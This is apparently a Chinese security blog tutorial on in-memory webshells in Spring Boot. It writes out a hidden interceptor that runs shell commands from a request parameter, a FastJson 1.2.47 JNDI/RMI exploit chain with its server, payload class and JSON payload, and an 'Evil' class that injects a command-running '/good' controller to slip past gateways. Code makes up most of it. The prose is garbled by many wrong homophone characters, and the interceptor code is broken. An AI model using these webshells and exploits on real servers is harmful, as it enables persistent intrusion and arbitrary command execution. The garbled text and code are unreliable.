0x01 前言

在上一篇文章中深入浅出内存马(一),我介绍了基于Tomcat的Filter内存马,不光是Filter 还有listener、servlet、controller 等不同模式的内存马。现在企业开发过程中,大部分应用的都是spring系列的框架进行开发,特地是SpringBoot,当初根本是企业开发的标配。所以探讨Spring系列下的内存马就显得十分必要了。

明天咱们就来钻研钻研Spring Boot下的内存马实现。

0x02 需要

随着微服务部署技术的迭代演进,大型业务零碎在达到真正的应用服务器的时候,会通过一些系列的网关,简单平衡,防火墙。所以如果你新建的shell路由不在这些网关的白名单中,那么就很有可能无法访问到,在达到应用服务器之前就会被抛弃,咱们该如何解决这个问题?

所以,在注入内存马的时候,就尽量不要用新建的路由,或者shell地址。最好是在拜访失常的业务地址之前,就能执行咱们的代码。

依据这个文章外面的说法基于内存 Webshell 的无文件攻打技术钻研

在通过一番文档查阅和源码浏览后,发现可能有不止一种办法能够达到以上成果。其中通用的技术点次要有以下几个:

在不应用注解和批改配置文件的状况下,应用纯 java 代码来取得以后代码运行时的上下文环境;
在不应用注解和批改配置文件的状况下,应用纯 java 代码在上下文环境中手动注册一个 controller;
controller 中写入 Webshell 逻辑,达到和 Webshell 的 URL 进行交互回显的成果;

0x03 SpringBoot的生命周期

为了满足下面的需要,咱们须要理解SpringBoot的生命周期,咱们须要钻研的是:一个申请到到应用层之前,须要通过那几个局部?是如何一步一步到到咱们的Controller的?

咱们用IDEA来搭建一个SpingBoot2 的环境


拜访地址:


咱们还是把断点打在

org.apache.catalina.core.ApplicationFilterChain

中的 internalDoFilter办法中


能够看到整个执行流程


这部分在上一篇文章中曾经详细描述过,这里不在赘述。

然而这里不同的是在通过 Filter 层面解决后,就会进入相熟的 spring-webmvc 组件

org.springframework.web.servlet.DispatcherServlet

类的 doDispatch 办法中。


跟进去这个办法


能够看到是遍历this.handlerMappings 这个迭代器中的mappergetHandler 办法解决Http中的request申请。

持续追踪,最终会调用到

org.springframework.web.servlet.handler.AbstractHandlerMapping

类的 getHandler 办法,并通过

getHandlerExecutionChain(handler, request) 

办法返回 HandlerExecutionChain 类的实例。


持续跟进getHandlerExecutionChain 办法,

protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {        HandlerExecutionChain chain = handler instanceof HandlerExecutionChain ? (HandlerExecutionChain)handler : new HandlerExecutionChain(handler);        Iterator var4 = this.adaptedInterceptors.iterator();        while(var4.hasNext()) {            HandlerInterceptor interceptor = (HandlerInterceptor)var4.next();            if (interceptor instanceof MappedInterceptor) {                MappedInterceptor mappedInterceptor = (MappedInterceptor)interceptor;                if (mappedInterceptor.matches(request)) {                    chain.addInterceptor(mappedInterceptor.getInterceptor());                }            } else {                chain.addInterceptor(interceptor);            }        }    //返回的是HandlerExecutonChain,这里蕴含了所有的拦截器        return chain;    }

好了,当初咱们晓得程序在哪里退出的拦截器(interceptor)后,追踪到这行代码

if (!mappedHandler.applyPreHandle(processedRequest, response)) {    return;}

跟进之后发现interceptor.preHandle(request, response, this.handler) 会遍历拦截器,并执行其preHandle办法。


如果程序提前在调用的 Controller 上设置了 Aspect(切面),那么在正式调用 Controller 前实际上会先调用切面的代码,肯定水平上也起到了 "拦挡" 的成果。

那么总结一下,一个 request 发送到 spring 利用,大略会通过以下几个层面才会达到解决业务逻辑的 Controller 层:

HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Aspect --> Controller

0x04 拦截器Interceptor 的实践摸索

用 Interceptor 来拦挡所有进入 Controller 的 http 申请实践上是可行的,接下来就是实现从代码层面动静注入一个 Interceptor 来达到 webshell 的成果。

能够通过继承 HandlerInterceptorAdapter 类或者HandlerInterceptor 类并重写其 preHandle 办法实现拦挡。preHandle是申请执行前执行,preHandle 办法中写一些拦挡的解决,比方上面,当申请参数中带 id 时进行拦挡,并写入字符串 InterceptorTest OK! 到 response。

0x0401 模仿实在业务

实在业务,这里模仿一个登录场景,登录胜利返回login success。

package com.evalshell.springboot.web;import com.evalshell.springboot.model.User;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import javax.servlet.http.HttpServletRequest;@Controller@RequestMapping(value = "/user")public class UserCrotroller {    @RequestMapping(value = "/login")    public @ResponseBody Object login(HttpServletRequest request){      //简略模仿登录胜利      //实体类User 我就不赘述了,就是有2个属性。并实现getter和setter 结构器办法        User user = new User();        user.setAge(18);        user.setName("jack");        request.getSession().setAttribute("user", user);        return "login success";    }}

0x0402 编写自定义的Interceptor

package com.evalshell.springboot.interceptor;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.ModelAndView;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class VulInterceptor implements HandlerInterceptor {    @Override    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {        String code = request.getParameter("code");        if(code != null){            try {                java.io.PrintWriter writer = response.getWriter();                ProcessBuilder p;                if(System.getProperty("os.name").toLowerCase().contains("win")){                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});                }else{                    System.out.println(code);                    p = new ProcessBuilder(new String[]{"/bin/bash", "-c", code});                }                builder.redirectErrorStream(true);                Process p = builder.start();                BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));                String result = r.readLine();                System.out.println(result);                writer.println(result);                writer.flush();                writer.close();            }catch (Exception e){            }            return false;        }        return true;    }    @Override    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {        HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);    }    @Override    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {        HandlerInterceptor.super.afterCompletion(request, response, handler, ex);    }}

0x0403 注册拦截器

实现拦截器后还须要将拦截器注册到spring容器中,能够通过implements WebMvcConfigurer,笼罩其addInterceptors(InterceptorRegistry registry)办法

package com.evalshell.springboot.config;import com.evalshell.springboot.interceptor.VulInterceptor;import org.springframework.context.annotation.Configuration;import org.springframework.web.servlet.config.annotation.InterceptorRegistry;import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;@Configurationpublic class InterceptorConfig implements WebMvcConfigurer {    @Override    public void addInterceptors(InterceptorRegistry registry) {      //这里是配置须要拦挡的路由        String[] VulPathPatterns = {"/user/login"};        registry.addInterceptor(new VulInterceptor()).addPathPatterns(VulPathPatterns);    }}

能够看到达到的成果是拜访失常路由,不会影响失常业务。如果是带有code的参数会执行code外面的代码,从而冲破网关的限度。

那么咱们当初曾经明确了如何在springboot中进行拦挡,并执行咱们的内存马,然而还是有一个问题,如何注入咱们的内存马?

在这里依据landgrey大佬的思路:

spring boot 初始化过程中会往 org.springframework.context.support.LiveBeansView 类的 applicationContexts 属性中增加 org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext 类的对象。bean 实例名字是 requestMappingHandlerMapping 或者比拟老版本的 DefaultAnnotationHandlerMapping 。那么获取 adaptedInterceptors 属性值就比较简单了:
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");field.setAccessible(true);java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);

我总结下就是:

-首先获取利用的上下文环境,也就是ApplicationContext
-而后从 ApplicationContext 中获取 AbstractHandlerMapping 实例(用于反射)
-反射获取 AbstractHandlerMapping类的 adaptedInterceptors字段
-通过 adaptedInterceptors注册拦截器

0x05 实战

为了不便搭建环境,咱们采纳FastJson 1.2.47的RCE来发明反序列化破绽利用点,咱们在pom.xml中配置好咱们的依赖,

<dependencies>    <!-- 配置fastjson -->  <dependency>   <groupId>com.alibaba</groupId>   <artifactId>fastjson</artifactId>   <version>1.2.47</version>  </dependency>        <!-- 配置springboot2 ,小编应用的是2.5.3的版本-->    <dependency>   <groupId>org.springframework.boot</groupId>   <artifactId>spring-boot-starter-web</artifactId>  </dependency> </dependencies>

手动创立一个FastJson的利用点,因为在 JDK 18u191, 11.0.1之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,为了演示,我这里是用了JDK 18u102。

@Controllerpublic class VulController {    @RequestMapping(value = "/unserializer")    @ResponseBody    public String unserializer(@RequestParam String code){        JSON.parse(code);        return "unserializer";    }}

创立RMI服务器

package com.evalshell.server;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class JNDIServer {    public static void main(String[] args) throws Exception {        Registry registry = LocateRegistry.createRegistry(1099);        Reference reference = new Reference("TouchFile",                "com.evalshell.server.TouchFile","http://127.0.0.1:8083/");        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);        registry.bind("Exploit", referenceWrapper);    }}

创立恶意代码

package com.evalshell.server;import java.lang.Runtime;import java.lang.Process;public class TouchFile {    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"open", "/System/Applications/Calculator.app"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }}

启动JNDIServer,端口启动在了1099


在TouchFile的编译后的类门路下,开启web服务,提供歹意类文件的http下载服务,这个端口必须和下面的JNDIServer中配置的统一。


咱们应用FastJson的Payload进行攻打

{    "a":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://127.0.0.1:1099/TouchFile",        "autoCommit":true    }}

用postman申请,攻打胜利的话,就会弹出计算器,示意能够执行任意命令。


好的,上述曾经搭建起一个Fastjson的破绽环境。

应用上述办法编写拦截器内存马:

package com.evalshell.server;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class Evil {    public Evil() throws Exception{        // 对于获取Context的形式有多种        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.                currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");        method.setAccessible(true);        // 通过反射取得该类的test办法        Method method2 = Evil.class.getMethod("test");        // 定义该controller的path        PatternsRequestCondition url = new PatternsRequestCondition("/good");        // 定义容许拜访的HTTP办法        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();        // 结构注册信息        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);        // 创立用于解决申请的对象,防止有限循环应用另一个构造方法        Evil injectToController = new Evil("aaa");        // 将该controller注册到Spring容器        mappingHandlerMapping.registerMapping(info, injectToController, method2);    }    private Evil(String aaa) {    }    public void test() throws IOException {        // 获取申请        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();        // 获取申请的参数cmd并执行        // 相似于PHP的system($_GET["cmd"])        Runtime.getRuntime().exec(request.getParameter("cmd"));    }}

同时批改JNDIServer类中的代码

Reference reference = new Reference("VulClass", "com.evalshell.server.VulClass","http://127.0.0.1:8083/");

替换成

Reference reference = new Reference("Evil","com.evalshell.server.Evil","http://127.0.0.1:8083/");

最初演示一下,应用fastjson RCE进行攻打并动静写入咱们的内存马

至此,咱们曾经实现SpringBoot下的无文件内存马的实现!

0x06 参考

https://landgrey.me/blog/19/

https://www.anquanke.com/post...

https://evalshell.com/